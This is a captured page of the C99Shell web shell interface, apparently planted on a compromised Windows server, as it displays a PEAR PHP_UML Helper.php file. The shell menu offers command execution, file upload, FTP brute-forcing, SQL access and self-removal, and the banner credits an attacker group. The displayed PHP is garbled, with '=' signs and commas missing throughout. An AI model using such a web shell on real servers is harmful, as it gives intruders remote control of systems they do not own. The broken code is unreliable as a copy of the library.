!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\dmz\php\pear\PHP\UML\Metamodel\   drwxrwxrwx
Free 3.24 GB of 39.52 GB (8.2%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Helper.php (7.66 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PHP_UML (PHP/MOF program elements classes)
 *
 * PHP version 5
 * 
 * @category   PHP
 * @package    PHP_UML
 * @subpackage Metamodel
 * @author     Baptiste Autin <ohlesbeauxjours@yahoo.fr> 
 * @license    http://www.gnu.org/licenses/lgpl.html LGPL License 3
 * @version    SVN: $Revision: 175 $
 * @link       http://pear.php.net/package/PHP_UML
 * @link       http://www.omg.org/mof/
 * @since      $Date: 2011-09-15 17:07:58 +0200 (jeu., 15 sept. 2011) $
 *
 */

/**
 * Helper class to deal with Metamodel elements.
 * 
 * @category   PHP
 * @package    PHP_UML
 * @subpackage Metamodel
 * @author     Baptiste Autin <ohlesbeauxjours@yahoo.fr> 
 * @license    http://www.gnu.org/licenses/lgpl.html LGPL License 3
 */
class PHP_UML_Metamodel_Helper
{
    const 
META_INTERFACE 'PHP_UML_Metamodel_Interface';
    const 
META_CLASS     'PHP_UML_Metamodel_Class';
    const 
META_DATATYPE  'PHP_UML_Metamodel_Datatype';
    const 
META_OPERATION 'PHP_UML_Metamodel_Operation';
    const 
META_PROPERTY  'PHP_UML_Metamodel_Property';

    const 
PHP_PROFILE_NAME        'php';
    const 
PHP_STEREOTYPE_DOCBLOCK 'docblock';
    

    
/**
     * Deletes all empty packages
     * 
     * @param PHP_UML_Metamodel_Package &$ns Top package
     */
    
static public function deleteEmptyPackages(PHP_UML_Metamodel_Package &$ns)
    {
        if (!
is_null($ns->nestedPackage)) {
            foreach (
$ns->nestedPackage as $key => &$pkg) {
                if (
self::isEmpty($pkg)) {
                    unset(
$ns->nestedPackage[$key]);
                } else {
                    if (
self::deleteEmptyPackages($pkg)) {
                        unset(
$ns->nestedPackage[$key]);
                    }
                }
            }
            if (
self::isEmpty($ns)) {
                return 
true;
            }
        }
        return 
false;
    }

    
/**
     * Checks if a package is empty
     * 
     * @param PHP_UML_Metamodel_Package $p Top package
     */
    
static private function isEmpty(PHP_UML_Metamodel_Package $p)
    {
        return empty(
$p->nestedPackage) && empty($p->ownedType) && empty($p->ownedOperation) && empty($p->ownedAttribute);
    }
    
    
/**
     * Searches in a given package for a typed element (likely, a class)
     *
     * @param PHP_UML_Metamodel_Package $ns    A package element
     * @param string                    $value A name
     *
     * @return mixed Either FALSE if not found, or the element
     */
    
public static function searchTypeIntoPackage(PHP_UML_Metamodel_Package $ns$value)
    {
        foreach (
$ns->ownedType as $key => &$o) {
            if (
strcasecmp($o->name$value)==0) {
                return 
$o;
            }
        }
        return 
false;
    }

    
/**
     * Searches if an operation already exists in a given pkg
     *
     * @param PHP_UML_Metamodel_Package $ns    A package element
     * @param string                    $value A name
     *
     * @return mixed Either FALSE if not found, or the element
     */
    
static public function searchOperationIntoPackage(PHP_UML_Metamodel_Package $ns$value)
    {
        foreach (
$ns->ownedOperation as $key => &$o) {
            if (
strcasecmp($o->name$value)==0) {
                return 
$o;
            }
        }
        return 
false;
    }

    
/**
     * Searches if an attribute already exists in a given pkg
     *
     * @param PHP_UML_Metamodel_Package $ns    A package element
     * @param string                    $value A name
     *
     * @return mixed Either FALSE if not found, or the element
     */
    
public static function searchAttributeIntoPackage(PHP_UML_Metamodel_Package $ns$value)
    {
        foreach (
$ns->ownedAttribute as $key => &$o) {
            if (
strcasecmp($o->name$value)==0) {
                return 
$o;
            }
        }
        return 
false;
    }
    
    
/**
     * Retrieves a particular tag in a given stereotype
     *
     * @param PHP_UML_Metamodel_Stereotype $s       The stereotype
     * @param string                       $tagName The tag name (eg "description")
     * 
     * @return PHP_UML_Metamodel_Tag
     */
    
public static function getStereotypeTag(PHP_UML_Metamodel_Stereotype $s$tagName)
    {
        if (!empty(
$s)) {
            foreach (
$s->ownedAttribute as $tag) {
                if (
$tag->name == $tagName)
                    return 
$tag;
            }
        }
        return 
null;
    }
    
    
/**
     * Searches recursively in a given package for an element, knowing its ID
     * 
     * @param PHP_UML_Metamodel_Package $np    A package element (context)
     * @param string                    $value An ID
     *
     * @return mixed Either FALSE if not found, or the position in the stack
     */
    
public static function findTypeById(PHP_UML_Metamodel_Package $np$value)
    {
        if (
$np->id == $value)
            return 
$np;
        
        foreach (
$np->ownedType as $item) {
            if (
$item->id == $value)
                return 
$item;
        }
        foreach (
$np->ownedAttribute as $item) {
            if (
$item->id == $value)
                return 
$item;
        }
        foreach (
$np->ownedOperation as $item) {
            if (
$item->id == $value)
                return 
$item;
        }
        foreach (
$np->nestedPackage as $item) {
            
$ret self::findTypeById($item$value);
            if (!(
$ret === false))
                return 
$ret;
        }
        return 
false;
    }

    
/**
     * Searches recursively in a given package for a package, knowing its name
     * Works with position numbers, not variable references.
     *
     * @param PHP_UML_Metamodel_Package $np    A package element (context)
     * @param string                    $value A package name (to find)
     *
     * @return mixed Either FALSE if not found, or the position in the stack
    */
    
public static function findSubpackageByName(PHP_UML_Metamodel_Package $np$value)
    {
        foreach (
$np->nestedPackage as $pkg) {
            if (
strcasecmp($pkg->name$value)==0) {
                return 
$pkg;
            }
        }
        return 
false;
    }
    
    
/**
     * Splits a package path into its first/last element, and the rest
     * Allows for the two different versions of package delimiter
     * 
     * @param string $path      A path to split
     * @param bool   $modeFirst If true, splits into 1st and the rest
     *                          If false, splits into last and the rest
     * @param string $alt       Alternate separator (eg, /, or ::)
     *
     * @return array Results array
     */
    
static public function getPackagePathParts($path$modeFirst true$alt=PHP_UML_Input_PHP_Parser::T_NS_SEPARATOR2)
    {
        
$first '';
        
$last  '';
        if (
$modeFirst) {
            
$pos1 strpos($pathPHP_UML_Input_PHP_Parser::T_NS_SEPARATOR);
            
$pos2 strpos($path$alt);
            if (
$pos1!==false && ($pos1<$pos2 || $pos2===false)) {
                
$pos $pos1;
                
$len strlen(PHP_UML_Input_PHP_Parser::T_NS_SEPARATOR);
            } else {
                
$pos $pos2;
                
$len strlen($alt);
            }
        } else {
            
$pos1 strrpos($pathPHP_UML_Input_PHP_Parser::T_NS_SEPARATOR);
            
$pos2 strrpos($path$alt);
            if (
$pos1!==false && ($pos1>$pos2 || $pos2===false)) {
                
$pos $pos1;
                
$len strlen(PHP_UML_Input_PHP_Parser::T_NS_SEPARATOR);
            } else {
                
$pos $pos2;
                
$len strlen($alt);
            }
        }
        if (
$pos===false)
            
$first $path;
        else  {
            
$first substr($path0$pos);
            
$last  substr($path$pos+$len);
        }
        return array(
$pos$first$last);
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--